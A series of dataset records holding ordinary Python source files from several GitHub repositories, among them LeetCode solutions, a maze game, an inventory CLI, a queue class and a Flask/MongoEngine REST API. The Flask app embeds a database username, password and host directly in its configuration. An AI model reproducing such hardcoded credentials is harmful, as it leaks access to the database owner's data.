int:\n def island_area(grid: List[List[int]], i, j):\n if i < 0 or j < 0 or i >= len(grid) or j >= len(grid[0]) or grid[i][j] <= 0:\n return 0\n else:\n grid[i][j] = -1\n return 1 + island_area(grid, i + 1, j) + \\\n island_area(grid, i - 1, j) + \\\n island_area(grid, i, j - 1) + \\\n island_area(grid, i, j + 1)\n\n max_area = 0\n for i in range(len(grid)):\n for j in range(len(grid[0])):\n max_area = max(max_area, island_area(grid, i, j))\n return max_area\n\n def isValidSudoku(self, board: List[List[str]]) -> bool:\n\n for row in board:\n ar = [0] * 10\n for c in row:\n if c == '.':\n pass\n else:\n if ar[int(c)] != 0:\n return False\n else:\n ar[int(c)] = 1\n for i in range(9):\n ar = [0] * 10\n for j in range(9):\n c = board[j][i]\n if c == '.':\n pass\n else:\n if ar[int(c)] != 0:\n return False\n else:\n ar[int(c)] = 1\n\n for col in range(3):\n for row in range(3):\n ar = [0] * 10\n for i in range(col * 3, (col + 1) * 3):\n for j in range(row * 3, (row + 1) * 3):\n c = board[j][i]\n if c == '.':\n pass\n else:\n if ar[int(c)] != 0:\n return False\n else:\n ar[int(c)] = 1\n return True\n\n def searchMatrix(self, matrix: List[List[int]], target: int) -> bool:\n # nums = [x[0] for x in matrix]\n if len(matrix) == 1:\n return binary_search(matrix[0], target)\n l = 0\n r = len(matrix) - 1\n while l <= r:\n m = l + (r - l) // 2\n if target == matrix[m][0]:\n return True\n elif target > matrix[m][0]:\n l = m + 1\n elif target < matrix[m][0]:\n r = m - 1\n if l > len(matrix) - 1:\n l = len(matrix) - 1\n if target < matrix[l][0]:\n l -= 1\n return binary_search(matrix[l], target)\n\n @staticmethod\n def jump(nums):\n if len(nums) <= 1:\n return 0\n l, r = 0, nums[0]\n times = 1\n while r < len(nums) - 1:\n times += 1\n nxt = max(i + nums[i] for i in range(l, r + 1))\n l, r = r, nxt\n return times\n\n @staticmethod\n def maxSubArray(nums: List[int]) -> int:\n max_ending = max_current = nums[0]\n\n for i in nums[1:]:\n max_ending = max(i, max_ending + i)\n max_current = max(max_current, max_ending)\n\n return max_current\n\n @staticmethod\n def inorder_traversal(root: TreeNode) -> List[int]:\n def helper(root: TreeNode, res: List[int]):\n if root:\n helper(root.left, res)\n res.append(root.val)\n helper(root.right, res)\n\n res = []\n helper(root, res)\n return res\n\n @staticmethod\n def preorder_traversal(root: TreeNode) -> List[int]:\n def helper(root: TreeNode, res: List[int]):\n if root:\n res.append(root.val)\n helper(root.left, res)\n helper(root.right, res)\n\n res = []\n helper(root, res)\n return res\n\n @staticmethod\n def postorder_traversal(root: TreeNode) -> List[int]:\n def helper(root: TreeNode, res: List[int]):\n if root:\n helper(root.left, res)\n helper(root.right, res)\n res.append(root.val)\n\n res = []\n helper(root, res)\n return res\n\n @staticmethod\n def preorder_traversal_iterative(root: TreeNode) -> List[int]:\n if root is None:\n return None\n res = []\n # s = [root]\n s = deque([root])\n # print(stack[0])\n while len(s) > 0:\n root = s.pop()\n if root.right:\n s.append(root.right)\n if root.left:\n s.append(root.left)\n res.append(root.val)\n\n return res\n\n @staticmethod\n def inorder_traversal_iterative(root: TreeNode) -> List[int]:\n res = []\n s = []\n node = root\n\n while True:\n if node is not None:\n s.append(node)\n node = node.left\n else:\n if not s:\n break\n node = s.pop()\n res.append(node.val)\n node = node.right\n return res\n\n @staticmethod\n def postorder_traversal_iterative(root: TreeNode) -> List[int]:\n if not root:\n return None\n res = []\n # s = [root]\n s = deque([root])\n # print(stack[0])\n while len(s) > 0:\n root = s.pop()\n if root.left:\n s.append(root.left)\n if root.right:\n s.append(root.right)\n res.append(root.val)\n return res[::-1]\n\n # @staticmethod\n\n def mergeTrees(self, root1: Optional[TreeNode], root2: Optional[TreeNode]) -> Optional[TreeNode]:\n if not root1 and not root2:\n return None\n ans = TreeNode((root1.val if root1 else 0) + (root2.val if root2 else 0))\n ans.left = self.mergeTrees(root1 and root1.left, root2 and root2.left)\n ans.right = self.mergeTrees(root1 and root1.right, root2 and root2.right)\n return ans\n\n\ndef print_tree(node: TreeNode, k: int) -> None:\n if node is not None:\n print_tree(node.right, k + 1)\n print(' ' * k * 3 + str(node.val))\n print_tree(node.left, k + 1)\n","repo_name":"neidenfree/leetcode","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4627311583","text":"import chainer\n\n\ndef _namedchildren(link):\n if isinstance(link, chainer.Chain):\n for name in sorted(link._children):\n yield name, link.__dict__[name]\n elif isinstance(link, chainer.ChainList):\n for idx, child in enumerate(link._children):\n yield str(idx), child\n\n\ndef namedpersistent(link):\n \"\"\"Return a generator of all (path, persistent) pairs for a given link.\n\n This function is adopted from https://github.com/chainer/chainer/pull/6788.\n Once it is merged into Chainer, we should use the property instead.\n\n Args:\n link (chainer.Link): Link.\n\n Returns:\n A generator object that generates all (path, persistent) pairs.\n The paths are relative from this link.\n \"\"\"\n d = link.__dict__\n for name in sorted(link._persistent):\n yield '/' + name, d[name]\n for name, child in _namedchildren(link):\n prefix = '/' + name\n for path, persistent in namedpersistent(child):\n yield prefix + path, persistent\n","repo_name":"chainer/chainerrl","sub_path":"chainerrl/misc/namedpersistent.py","file_name":"namedpersistent.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":1134,"dataset":"github-code","pt":"21"} +{"seq_id":"19490952226","text":"import pyodbc\nfrom validator import Validator\nfrom carmodel import carmodel\nfrom manufacturer_order import ManufacturerOrder\nfrom customer_order import CustomerOrder\n\nvalidator = Validator()\n\n\nclass Inventory:\n def __init__(self):\n self.__inventoryId=\"\"\n self.__inventoryDate=\"\"\n self.__inventoryStatus=\"\"\n self.__manufacturerOrderId=\"\"\n self.__customerOrderId=\"\"\n\n\n\n def searchAllInvenrotyRecords(self,cursor):\n try:\n cursor.execute('SELECT * FROM dbo.Inventory')\n dash = '-' * 175\n print(dash)\n print('{:<5s}{:>30s}{:>60s}{:>30s}{:>30s}'.format(\"Inventory Id\", \"Inventory Date\", \"Inventory Status\", \"Manufacturer Order Id\", \"Customer Order Id\"))\n print(dash)\n for row in cursor:\n print('{:<5s}{:>30s}{:>60s}{:>30s}{:>30s}'.format(str(row[0]), row[1], row[2], str(row[3]), str(row[4])))\n\n except:\n print(\"Something went wrong.!! Contact the administrator.!\")\n\n\n def addInventoryRecord(self, database, cursor):\n try:\n\n manufacturerOrder = ManufacturerOrder()\n manufacturerOrder.searchAllManufactuererOrderRecords(cursor)\n\n customerOrder = CustomerOrder()\n customerOrder.serachAllCustomerOrders(cursor)\n\n inventoryDate = input(\"Please Enter the Inventory Date\")\n while not validator.dateValidate(inventoryDate):\n inventoryDate = input(\"Please Enter the Inventory Date\")\n self.__inventoryDate = inventoryDate\n\n self.__inventoryStatus = input(\"Please Enter the Inventory Status\")\n\n orderId = input(\"Please Enter the Manufacturer Order Id\")\n while not validator.numberValidate(orderId):\n orderId = input(\"Please Enter the Manufacturer Order Id\")\n self.__manufacturerOrderId = orderId\n\n self.__customerOrderId = input(\"Please Enter the Customer Order Id\")\n\n database.insertInventoryrecord(self.__inventoryDate, self.__inventoryStatus, self.__manufacturerOrderId, self.__customerOrderId)\n print(\"Inventory Record added Successfully\")\n\n except:\n print(\"Something went wrong.!! Contact the administrator.!\")\n\n\n def updateInventoryRecord(self, database, cursor):\n try:\n inventory = Inventory()\n inventory.searchAllInvenrotyRecords(cursor)\n\n inventoryId = input(\"Please Enter the Inventory Id which needs to be updated\")\n while not validator.numberValidate(inventoryId):\n inventoryId = input(\"Please Enter the Inventory Id which needs to be updated\")\n self.__inventoryId = inventoryId\n\n date = input(\"Please Enter the New or Same Inventory Date\")\n while not validator.dateValidate(date):\n date = input(\"Please Enter the New or Same Inventory Date\")\n self.__inventoryDate = date\n\n self.__inventoryStatus = input(\"Please Enter the New or Same Inventory Status\")\n\n manufacturerOrder = ManufacturerOrder()\n manufacturerOrder.searchAllManufactuererOrderRecords(cursor)\n\n manuOrderId = input(\"Please Enter the New or Same Manufacture Order Id\")\n while not validator.numberValidate(manuOrderId):\n manuOrderId = input(\"Please Enter the New or Same Manufacture Order Id\")\n self.__manufacturerOrderId = manuOrderId\n\n customerOrder = CustomerOrder()\n customerOrder.serachAllCustomerOrders(cursor)\n\n\n self.__customerOrderId = input(\"Please Enter the New or Same Customer Order Id\")\n\n database.updateInventoryRecord(self.__inventoryId, self.__inventoryDate, self.__inventoryStatus, self.__manufacturerOrderId, self.__customerOrderId)\n print(\"Inventory Record updated Successfully\")\n except:\n print(\"Something went wrong.!! Contact the administrator.!\")\n\n\n def viewAvailableCars(self,database,cursor):\n try:\n sql = 'SELECT i.inventory_id, i.inventory_date, i.inventory_status, mo.manufacturer_order_price,cm.car_model_name,' \\\n 'cm.car_model_variant,m.manufacturer_name FROM Inventory i ' \\\n 'INNER JOIN Manufacturer_Order mo ON i.manufacturer_order_id = mo.manufacturer_order_id ' \\\n 'INNER JOIN Car_Model cm ON mo.car_model_id = cm.car_model_id ' \\\n 'INNER JOIN Manufacturer m ON cm.manufacturer_id = m.manufacturer_id ' \\\n 'WHERE i.inventory_status = \\'AVAILABLE\\''\n\n cursor.execute(sql)\n dash = '-' * 200\n print(dash)\n print('{:<5s}{:>30s}{:>60s}{:>30s}{:>30s}{:>30s}'.format(\"Inventory Id\", \"Inventory Date\", \"Inventory Status\",\n \"Manufacturer Order Price\", \"Model Name\", \"Manufacturer Name\"))\n print(dash)\n for row in cursor:\n print('{:<5s}{:>30s}{:>60s}{:>30s}{:>36s}{:>28s}'.format(str(row[0]), row[1], row[2], str(row[3]), row[4], row[6]))\n except:\n print(\"Something went wrong.!! Contact the administrator.!\")\n\n","repo_name":"Kumuditha-Athukorala/CA-2","sub_path":"inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":5131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40982895523","text":"import pytest\n\nfrom wordle_bot.wordle import Wordle\n\n\ndef test_wordle_api():\n wdl = Wordle(\"snail\")\n assert wdl.solution == \"snail\"\n\n results = wdl.guess(\"arose\")\n assert results == [1, 0, 0, 1, 0]\n\n results = wdl.guess(\"stamp\")\n assert results == [2, 0, 2, 0, 0]\n\n results = wdl.guess(\"snail\")\n assert results == [2, 2, 2, 2, 2]\n assert wdl.guesses == [\n (\"arose\", [1, 0, 0, 1, 0]),\n (\"stamp\", [2, 0, 2, 0, 0]),\n (\"snail\", [2, 2, 2, 2, 2])\n ]\n\n\ndef test_wordle_invalid_guess():\n wdl = Wordle(\"wordle\")\n assert wdl.solution == \"wordle\"\n\n with pytest.raises(Exception) as exc_info:\n wdl.guess(\"abc\")\n\n assert exc_info.value.args[0] == 'word is of invalid length. guesses must be length 6'\n","repo_name":"wcarter609/wordle-bot","sub_path":"tests/test_wordle.py","file_name":"test_wordle.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2021231429","text":"#\n# export_dlg.py \n#\n\nimport os\nfrom PyQt6 import QtGui, QtCore, QtWidgets\n\nfrom mnemosyne.libmnemosyne.gui_translator import _\nfrom mnemosyne.pyqt_ui.ui_export_dlg import Ui_ExportDlg\nfrom mnemosyne.libmnemosyne.ui_components.dialogs import ExportDialog\n\n\nclass ExportDlg(QtWidgets.QDialog, ExportDialog, Ui_ExportDlg):\n\n def __init__(self, **kwds):\n super().__init__(**kwds)\n self.setupUi(self)\n # File formats.\n i = 0\n current_index = None\n for format in self.component_manager.all(\"file_format\"):\n if not format.export_possible:\n continue\n self.file_formats.addItem(_(format.description))\n if str(type(format)) == self.config()[\"export_format\"]:\n current_index = i\n i += 1\n if current_index is not None:\n self.file_formats.setCurrentIndex(current_index)\n\n def file_format_changed(self):\n filename = self.filename_box.text()\n if \".\" in filename:\n filename = filename.rsplit(\".\")[0] + self.format().extension\n self.filename_box.setText(filename)\n\n def activate(self):\n ExportDialog.activate(self)\n self.exec()\n\n def format(self):\n for _format in self.component_manager.all(\"file_format\"):\n if _(_format.description) == self.file_formats.currentText():\n return _format\n\n def browse(self):\n export_dir = self.config()[\"export_dir\"]\n filename = self.main_widget().get_filename_to_save(export_dir,\n _(self.format().filename_filter))\n self.filename_box.setText(filename)\n if filename:\n self.config()[\"export_dir\"] = os.path.dirname(filename)\n\n def accept(self):\n filename = self.filename_box.text()\n if not filename:\n return QtWidgets.QDialog.accept(self)\n if not filename.endswith(self.format().extension):\n filename += self.format().extension\n self.config()[\"export_format\"] = str(type(self.format()))\n result = self.format().do_export(filename)\n if result != -1: # Cancelled.\n self.main_widget().show_information(_(\"Done!\"))\n QtWidgets.QDialog.accept(self)\n","repo_name":"mnemosyne-proj/mnemosyne","sub_path":"mnemosyne/pyqt_ui/export_dlg.py","file_name":"export_dlg.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","stars":443,"dataset":"github-code","pt":"21"} +{"seq_id":"32001101198","text":"import tkinter as tk\nimport maze_maker\n\ndef key_down(event):\n global key\n key = event.keysym\n\ndef key_up(event):\n global key\n key = \"\"\n\ndef main_proc():\n global cx, cy, mx, my, maze_list\n if key == \"Up\" and maze_list[mx][my - 1] == 0: #上が入力されかつ、移動先が道なら\n my -= 1\n if key == \"Down\" and maze_list[mx][my + 1] == 0: #下が入力されかつ、移動先が道なら\n my += 1 \n if key == \"Left\" and maze_list[mx - 1][my] == 0: #左が入力されかつ、移動先が道なら\n mx -= 1\n if key == \"Right\" and maze_list[mx + 1][my] == 0: #右が入力され、移動先が道なら\n mx += 1\n\n #ゴールに到着したかの確認\n if mx == 13 and my == 7:\n finish()\n\n #rを押すとリセット\n if key == \"r\":\n #場所の初期化\n mx, my = 1, 1\n #迷路の再構築\n maze_list = maze_maker.make_maze(15, 9)\n maze_maker.show_maze(canvas, maze_list)\n #クリアの文字列を消す\n label.place_forget()\n #こうかとんを最前面へ\n canvas.lift(\"kokaton\")\n cx, cy = mx * 100 + 50, my * 100 + 50\n canvas.coords(\"kokaton\", cx, cy)\n root.after(300, main_proc)\n\n#クリア表示\ndef finish():\n label.place(x = 670, y = 370) \n\nif __name__ == \"__main__\":\n root = tk.Tk()\n root.title(\"迷えるこうかとん\")\n canvas = tk.Canvas(root, width = 1500, height = 900, bg = \"black\")\n canvas.pack()\n #クリア表示\n label = tk.Label(root, text = \"クリア\", font = (\"\", 80), bg = \"#00ffff\")\n\n#リセットのやり方表示\n setumei = tk.Label(root, text = \"Rでリセット\", font = (\"\", 30))\n setumei.place(x = 0, y = 0)\n\n maze_list = maze_maker.make_maze(15, 9)\n maze_maker.show_maze(canvas, maze_list)\n\n #画像関連\n kokaton = tk.PhotoImage(file = \"fig/0.png\")\n mx, my = 1, 1\n cx, cy = mx * 100 + 50, my * 100 + 50\n canvas.create_image(cx, cy, image = kokaton, tag = \"kokaton\")\n\n #キー入力関連\n key = \"\"\n root.bind(\"\", key_down)\n root.bind(\"\", key_up)\n\n main_proc()\n \n\n root.mainloop()\n\n","repo_name":"kotaokuda/ProjExD","sub_path":"ex03/maze.py","file_name":"maze.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71735236533","text":"import asyncio\nfrom datetime import datetime\nimport json\n\nfrom quart import Quart\nfrom quart.logging import create_serving_logger\nfrom hypercorn.config import Config\nfrom hypercorn.asyncio import serve\n\nfrom hydrapy import HydraPy, hydra_route, UMF_Message\nfrom pprint import pp\n\napp = Quart(__name__)\nservice_version = open('VERSION').read().rstrip()\n\nasync def startQuart(si):\n print(f\"{si['serviceName']}({si['instanceID']})(v{si['serviceVersion']}) running at {si['serviceIP']}:{si['servicePort']}\")\n config = Config()\n config.bind = [f\"{si['serviceIP']}:{si['servicePort']}\"]\n #config.bind = [f\"0.0.0.0:{si['servicePort']}\"]\n config.access_log_format = '%(h)s %(r)s %(s)s %(b)s %(D)s'\n config.accesslog = create_serving_logger()\n config.errorlog = config.accesslog\n loop = asyncio.get_event_loop()\n await loop.create_task(serve(app, config))\n\nasync def main():\n async def hydra_message_handler(message):\n print(f'{json.dumps(message)}', flush=True)\n\n hydra = HydraPy(config_path='./config.json', version=service_version, message_handler=hydra_message_handler)\n si = await hydra.init()\n\n hydra_route('/v1/message/health', ['GET'])\n @app.route('/v1/message/health', methods=['GET'])\n async def health():\n return {\n 'result': hydra.get_health()\n }\n\n hydra_route('/v1/message/send', ['GET'])\n @app.route('/v1/message/send', methods=['GET'])\n async def send():\n msg = (UMF_Message()).create_message({\n 'to': 'sample:/',\n 'from': f\"{si['serviceName']}:/\",\n 'body': {\n 'action': 'do-something',\n 'data': 'data'\n }\n })\n await hydra.send_message(msg)\n return {\n 'result': {}\n }\n await hydra.register_routes()\n await startQuart(si)\n\n\nasyncio.run(main())\n","repo_name":"pnxtech/HydraPy","sub_path":"examples/message/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"11741559967","text":"import json\nimport logging\nfrom base_exception import AppError\nfrom connection import create_db_engine, create_db_session\nfrom connection_service import WebsocketConnectionService\n\n\nengine = create_db_engine()\nsession = create_db_session(engine)\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n\ndef get_websocket_connection_service():\n return WebsocketConnectionService(session, logger)\n\n\ndef get_connection_id(event):\n request_context = event.get(\"requestContext\", {})\n if \"connectionId\" not in request_context:\n raise AppError(\"Connection id not found\")\n\n return request_context[\"connectionId\"]\n\n\ndef get_username_and_filename(body: str) -> tuple:\n try:\n data = json.loads(body)\n user = data.get(\"user\")\n file = data.get(\"file\")\n if user and file:\n return (user, file)\n raise AppError(\"You must provide a valid user id and filename\")\n except Exception as error:\n logger.info(error)\n raise error\n\n\ndef handler(event, _):\n try:\n service = WebsocketConnectionService(session, logger)\n connection_id = get_connection_id(event)\n\n username, filename = get_username_and_filename(event.get(\"body\"))\n is_registered = service.register_connection(connection_id, username, filename)\n\n body = json.dumps({\"registered\": is_registered})\n\n return {\"statusCode\": 200, \"body\": body}\n\n except Exception as error:\n logger.info(error)\n return {\"statusCode\": 400}\n","repo_name":"kpinetwork/backend","sub_path":"src/handlers/websocket/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4383672811","text":"def pry1(mylist):\n\td = {}\n\tresult = False\n\tfor x in mylist:\n\t\tif x in d:\n\t\t\tresult=True\n\t\t\tbreak\n\t\td[x] = True\n\treturn result,d\n\t\ndef pry2(mylist):\n\td = {}\n\tresult = False\n\tfor x in mylist:\n\t\tif not x in d:\n\t\t\td[x]=True\n\t\t\tcontinue\n\t\tresult = True\n\treturn result,d\n\t\ndef typeg(fold):\n\tif fold > 2 : print(fold)\n\telif fold>100: print( 'fold=',fold,'condition B')\n\tif fold> 2 or fold<2 : pass\n\telse : print('fold=',fold,'condition B')\nfor i in range(0,199):\n\tprint(typeg(i))\n\t\ni = 1\nwhile i < 100:\n\tif i%2 == 0 : break\n\ti += 1\nelse:\n i=1000\n\ng=[]\nfor i in range(len(seq)) : # line 1\n\tfor j in range(i) : # line 2\n\t\tprint(seq[j:i]) # line 3\n\t\tg.append(seq[j:i])\n\ng=[]\nfor i in range(len(seq)) : # line 1\n\tfor j in range(i+1) : # line 2\n\t\tprint(seq[j:i+1]) # line 3\n\t\tg.append(seq[j:i+1])\n\t\tif seq[j:i+1]=='': \n\t\t\tprint(\"HI\")\n\ng=[]\nfor i in range(len(seq)+1) : # line 1\n\tfor j in range(i) : # line 2\n\t\tprint(seq[j:i]) # line 3\n\t\tg.append(seq[j:i])\n\t\tif seq[j:i]=='': \n\t\t\tprint(\"HI\")\n\ndef reversecomplement(seq):\n\tseq=reverse(seq)\n\tseq = complement(seq)\n\treturn seq\ndef reverse_2(seq):\n\tseq2 = \"\"\n\tfor i in range(len(seq)):\n\t\tseq2 = seq2 +seq[-i-1]\n\treturn seq2\ndef reverse(seq):\n\treturn seq[::-1]\ndef complement_2(seq):\n\tpro = {'a':'t','t':'a','g':'c','c':'g'}\n\tseq2=\"\"\n\tfor i in range(len(seq)):\n\t\tseq2 = seq2 +pro[seq[i]]\n\treturn seq2\ndef complement(seq):\n\tbasecomplement= {'a':'t','g':'c','c':'g','t':'a','A':'T','G':'C','C':'G','T':'A','n':'n','N':'N'}\n\tletters = list(seq)\n\tletters = [basecomplement[base] for base in letters]\n\treturn \"\".join(letters)\n\nimport random\ndef create_dna(n, alphabet='acgt'):\n\treturn ''.join([random.choice(alphabet) for i in range(n)])\ndna = create_dna(1000000)\n\ndef count1(dna, base):\n\ti = 0\n\tfor c in dna:\n\t\tif c == base:\n\t\t\ti += 1 \n\treturn i\n\ndef count2(dna, base):\n\ti = 0 \n\tfor j in range(len(dna)):\n\t\tif dna[j] == base:\n\t\t\ti += 1\n\treturn i \n\ndef count3(dna, base):\n match = [c == base for c in dna]\n return sum(match)\n\ndef count4(dna, base):\n return dna.count(base)\n\ndef count5(dna, base):\n return len([i for i in range(len(dna)) if dna[i] == base])\n\ndef count6(dna,base):\n return sum(c == base for c in dna)\n\t\n\nimport time\n\nt0 = time.time()\nfor i in range(100000):\n\tcount1('abcdefa','a')\nt1 = time.time()\ntotal1 = t1-t0\nt0 = time.time()\nfor i in range(100000):\n\tcount2('abcdefa','a')\nt1 = time.time()\ntotal2 = t1-t0\nt0 = time.time()\nfor i in range(100000):\n\tcount3('abcdefa','a')\nt1 = time.time()\ntotal3 = t1-t0\nt0 = time.time()\nfor i in range(100000):\n\tcount4('abcdefa','a')\nt1 = time.time()\ntotal4 = t1-t0\n\n\n\nt0 = time.time()\ncount1(dna,'a')\nt1 = time.time()\ntotal1 = t1-t0\nt0 = time.time()\ncount2(dna,'a')\nt1 = time.time()\ntotal2 = t1-t0\nt0 = time.time()\ncount3(dna,'a')\nt1 = time.time()\ntotal3 = t1-t0\nt0 = time.time()\ncount4(dna,'a')\nt1 = time.time()\ntotal4 = t1-t0\n","repo_name":"p10rahulm/dna-algos","sub_path":"pyforbeginers.py","file_name":"pyforbeginers.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30548649234","text":"import time\nfrom colored import fg, attr\n\nunderline = attr(4)\nbold = attr(1)\ntext = fg(99)\nreset = attr(0)\n\n# List of tools\ntool = [\"trashpicker\", \"vacuum\", \"gloves\"]\n\nprint(\"\\n\")\n\n\ndef toolschoice(message):\n \"\"\"Test for checking if an input is a valid menu \"\"\"\n print(underline + text + bold + \"PICK A TOOL\" + reset)\n for t in tool:\n print(f\"* {t}\")\n # The while loop makes sure the program continues until the user\n # has inputted a valid tool\n while True:\n # The try statement attempts to exceute the user input\n try:\n userInput = str(input(message))\n # The if-else statement tests to see if the tool is valid\n # If the tool is valid then the program continues\n if userInput == \"trashpicker\":\n print(\"Great choice!\")\n time.sleep(2)\n print(\"\\nAre you ready? The game will start in...\\n\")\n import game\n print(game.loop_items())\n return userInput\n elif userInput == \"vacuum\":\n print(\"Cool choice.\")\n time.sleep(2)\n print(\"\\nAre you ready? The game will start in...\\n\")\n import game\n print(game.loop_items())\n return userInput\n elif userInput == \"gloves\":\n print(\"Good luck on your gloves.\")\n time.sleep(2)\n print(\"\\nAre you ready? The game will start in...\\n\")\n import game\n print(game.loop_items())\n return userInput\n # If the tool is invalid then the user must\n # try again\n else:\n print(\"Invalid choice. Please try again.\")\n continue\n # If the user input wrong tools\n except NameError:\n print(\"Input is not available. Try again.\")\n continue\n\n# Using the function toolschoice to ask for the user inputs\nuserInput = toolschoice(\"\\nTOOLS: \")\nprint(userInput)\nprint(\"\\n\")\n","repo_name":"rbqi/CapstoneProject","sub_path":"tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5650891465","text":"\nclass Node:\n \n def __init__(self, value, next_node=None):\n self.value = value\n self.next_node = next_node\n\nclass Queue:\n\n \"\"\"\n I know there is a deque collection in python I can use, but I want to derive this from scratch\n 1\n 2 <- 1 (enqueue 2)\n 3 <- 2 <-1 (enqueue 3)\n 3 <- 2 (dequeue 1)\n \"\"\"\n\n nodes_in_queue = 0\n\n def __init__(self, head=None):\n if head is None:\n self.head = None\n else:\n self.head = Node(head)\n self.nodes_in_queue += 1\n \n\n def is_empty(self):\n if self.head is None:\n return True\n else:\n return False\n\n\n def get_front(self):\n if self.head is None:\n print(\"No front of the line for empty queue\")\n return\n\n dummy = self.head\n for i in range(self.nodes_in_queue-1):\n dummy = dummy.next_node\n print(f\"The value in front is {dummy.value}\")\n\n\n def get_back(self):\n if self.head is not None:\n print(f\"The value in the back is {self.head.value}\")\n else:\n print(\"No back of the line for empty queue\")\n\n\n def enqueue(self, value):\n if value is None:\n return f\"No valid value\"\n \n dummy = self.head\n new_head = Node(value)\n new_head.next_node = dummy\n self.head = new_head\n self.nodes_in_queue += 1\n\n\n def dequeue(self):\n if self.nodes_in_queue == 0:\n print(\"Empty queue\")\n return\n\n if self.nodes_in_queue == 1:\n self.head = None\n print(\"Last element dequeued. There is now an empty queue\")\n self.nodes_in_queue -= 1\n return\n \n dummy = self.head\n for i in range(1, self.nodes_in_queue-1):\n dummy = dummy.next_node\n print(dummy.value)\n \n print(f\"{dummy.next_node.value} is being deqeued\")\n dummy.next_node = None\n self.nodes_in_queue -= 1\n print(f\"There are now {self.nodes_in_queue} nodes left\")\n\n \n# Driver code \nif __name__ == \"__main__\":\n new_queue = Queue(10)\n new_queue.get_front()\n new_queue.enqueue(20)\n new_queue.enqueue(30)\n new_queue.enqueue(40)\n new_queue.get_front()\n new_queue.get_back()\n new_queue.dequeue()\n new_queue.dequeue()\n new_queue.dequeue()\n new_queue.dequeue()\n new_queue.get_back()\n new_queue.get_front()\n\n\n\n\n\n \n","repo_name":"odjan/ds_algorithms","sub_path":"queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":2458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73630663733","text":"class Solution:\n \n # When all the count elements have a common factors greater than 1 -> True \n # To find the common factor, we need to use GCD \n def hasGroupsSizeX(self, deck: List[int]) -> bool:\n if not deck:\n return False\n \n ### Count the elements \n mp = {}\n for e in deck:\n mp[e] = mp.get(e, 0) + 1\n \n ### Convert map to list \n count = [mp[k] for k in mp]\n \n if len(count) == 1:\n return count[0] > 1\n \n # count.sort()\n \n ### Find common factor\n print(\"Count:\", count)\n p1 = count[0]\n p2 = count[1]\n print(p1, p2)\n commonFactor = 0\n if p1 == p2:\n commonFactor = p1\n else:\n while p2 != 0:\n if p2 > p1: \n p2 = p2 - ((p2 // p1) * p1)\n else:\n p1, p2 = p2, p1\n commonFactor = p1 \n if commonFactor == 1:\n return False\n print(\"Common Factor:\", commonFactor)\n \n factors = []\n #for i in range(1, math.floor(math.sqrt(commonFactor)) + 1):\n \n ### Find factors \n for i in range(1, commonFactor + 1):\n if commonFactor % i == 0:\n factors.append(i)\n print(\"Factors:\", factors)\n \n ### Use factors to check the rest of the count values\n for i in range(1, len(factors)):\n fac = factors[i]\n cnt = 0 \n for j in range(len(count)):\n if count[j] % fac == 0:\n cnt += 1\n if cnt == len(count):\n return True \n return False\n ","repo_name":"ianlai/Note-Python","sub_path":"algo/math/_0914_XOfAKindInADeckOfCards.py","file_name":"_0914_XOfAKindInADeckOfCards.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38507415047","text":"import os\nimport datetime\n\nfrom flask import Flask, url_for, redirect\nfrom flask.ext.mongoengine import MongoEngine\nfrom flask.ext.mongorest import MongoRest\nfrom flask.ext.mongorest.methods import *\nfrom flask.ext.mongorest.views import ResourceView\nfrom flask.ext.mongorest.authentication import AuthenticationBase\nfrom resources import UserResource, BillResource, AbbreviatedBillResource\n\napp = Flask(__name__, static_url_path='', static_folder='client/app')\n\n# mongodb://:@dharma.mongohq.com:10004/bp-crud\n\napp.config.update(\n TESTING = True,\n MONGODB_SETTINGS = {\n 'username': 'her-api-2',\n 'password': '0AZIOU0',\n 'HOST': 'dharma.mongohq.com',\n 'PORT': 10004,\n 'DB': 'bp-crud',\n 'TZ_AWARE': True,\n },\n)\n\ndb = MongoEngine(app)\napi = MongoRest(app)\n\n@api.register(name='users', url='/api/users/')\nclass UserView(ResourceView):\n resource = UserResource\n methods = [Create, Update, Fetch, List, Delete]\n\n@api.register(name='bills', url='/api/bills/')\nclass BillView(ResourceView):\n resource = BillResource\n methods = [Create, Update, Fetch, List, Delete]\n\n@api.register(name='abbreviatedBills', url='/api/list/bills')\nclass AbbreviatedBillView(ResourceView):\n resource = AbbreviatedBillResource\n methods = [Fetch, List]\n \n def __init__(self):\n self.resource.select_related = True\n\n''' Routes '''\n\n@app.route('/')\ndef index():\n '''\n with app.test_request_context():\n '''\n return redirect(url_for('static', filename='index.html'))\n\n''' RUN '''\n\nif __name__ == \"__main__\":\n port = int(os.environ.get('PORT', 8000))\n app.run(host='0.0.0.0', port=port)\n","repo_name":"conoremclaughlin/bp-crud","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} 